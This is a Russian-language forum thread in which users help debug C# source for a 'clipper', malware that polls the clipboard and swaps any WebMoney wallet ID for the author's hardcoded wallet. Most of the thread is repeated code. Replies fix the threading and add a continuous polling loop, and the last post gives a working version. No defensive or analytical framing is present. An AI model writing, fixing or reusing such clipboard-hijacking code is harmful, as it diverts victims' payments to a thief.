Он открывается подменяет один рас и закрывается using System; using System.Windows.Forms; using System.Threading; namespace Cliper { public partial class Form1 : Form { public Form1() { //InitializeComponent(); string webmoney = "U301931280212"; //кошелек вебмони string buffer = Clipboard.GetText(); if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); while (true) { if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); Thread.Sleep(500); } } private void Form1_Load(object sender, EventArgs e) { } } } Code using System; using System.Windows.Forms; using System.Threading; namespace Cliper { public partial class Form1 : Form { public Form1() { //InitializeComponent(); string webmoney = "U301931280212"; //кошелек вебмони string buffer = Clipboard.GetText(); if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); while (true) { if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); Thread.Sleep(500); } } private void Form1_Load(object sender, EventArgs e) { } } }
вынеси клиппер в отдельный метод и запусти этот метот в новом STA потоке The post was merged to previous Jan 30, 2020 ща код скину как The post was merged to previous Jan 30, 2020 public Form1() { Thread t = new Thread(Clipper); t.ApartmentState = ApartmentState.STA; t.Start(); t.Join(); } private static void Clipper() { //InitializeComponent(); string webmoney = "U301931280212"; //кошелек вебмони string buffer = Clipboard.GetText(); if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); while (true) { if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); Thread.Sleep(500); } } Code public Form1() { Thread t = new Thread(Clipper); t.ApartmentState = ApartmentState.STA; t.Start(); t.Join(); } private static void Clipper() { //InitializeComponent(); string webmoney = "U301931280212"; //кошелек вебмони string buffer = Clipboard.GetText(); if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); while (true) { if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); Thread.Sleep(500); } }
Возможно ты просто удалил этот код: private void Form1_Load(object sender, EventArgs e) { } Code private void Form1_Load(object sender, EventArgs e) { } The post was merged to previous Jan 31, 2020 И я так понимаю, что у тебя winform приложение, если да, то удали t.Join(); из кода, который я скинул
esretard, namespace Clipper { public partial class Form1 : Form { public Form1() { Thread t = new Thread(Clipper); t.ApartmentState = ApartmentState.STA; t.Start(); t.Join(); } private void Form1_Load(object sender, EventArgs e) { } private static void Clipper() { //InitializeComponent(); string webmoney = "U301931280212"; //кошелек вебмони string buffer = Clipboard.GetText(); if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); while (true) { if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); Thread.Sleep(500); } } } } Code namespace Clipper { public partial class Form1 : Form { public Form1() { Thread t = new Thread(Clipper); t.ApartmentState = ApartmentState.STA; t.Start(); t.Join(); } private void Form1_Load(object sender, EventArgs e) { } private static void Clipper() { //InitializeComponent(); string webmoney = "U301931280212"; //кошелек вебмони string buffer = Clipboard.GetText(); if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); while (true) { if (buffer.Contains(" ")) Console.Write("Это не wedmoney"); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); Thread.Sleep(500); } } } } The post was merged to previous Jan 31, 2020 Вроде теперь все робит, но всеравно срабатывает один рас
Стой, так ты буфер обмена получаешь всего-лишь 1 раз) Сделай так: namespace Clipper { public partial class Form1 : Form { public Form1() { Thread t = new Thread(Clipper); t.ApartmentState = ApartmentState.STA; t.Start(); t.Join(); } private void Form1_Load(object sender, EventArgs e) { } private static void Clipper() { //InitializeComponent(); string webmoney = "U301931280212"; //кошелек вебмони string oldbuff = ""; while (true) { string buffer = Clipboard.GetText(); if (buffer == oldbuff) continue; if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); else Console.WriteLine("Это не wedmoney"); Thread.Sleep(100); } } } } Code namespace Clipper { public partial class Form1 : Form { public Form1() { Thread t = new Thread(Clipper); t.ApartmentState = ApartmentState.STA; t.Start(); t.Join(); } private void Form1_Load(object sender, EventArgs e) { } private static void Clipper() { //InitializeComponent(); string webmoney = "U301931280212"; //кошелек вебмони string oldbuff = ""; while (true) { string buffer = Clipboard.GetText(); if (buffer == oldbuff) continue; if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(webmoney); else Console.WriteLine("Это не wedmoney"); Thread.Sleep(100); } } } } И все остальные ошибки в недоработки в коде я пофиксил.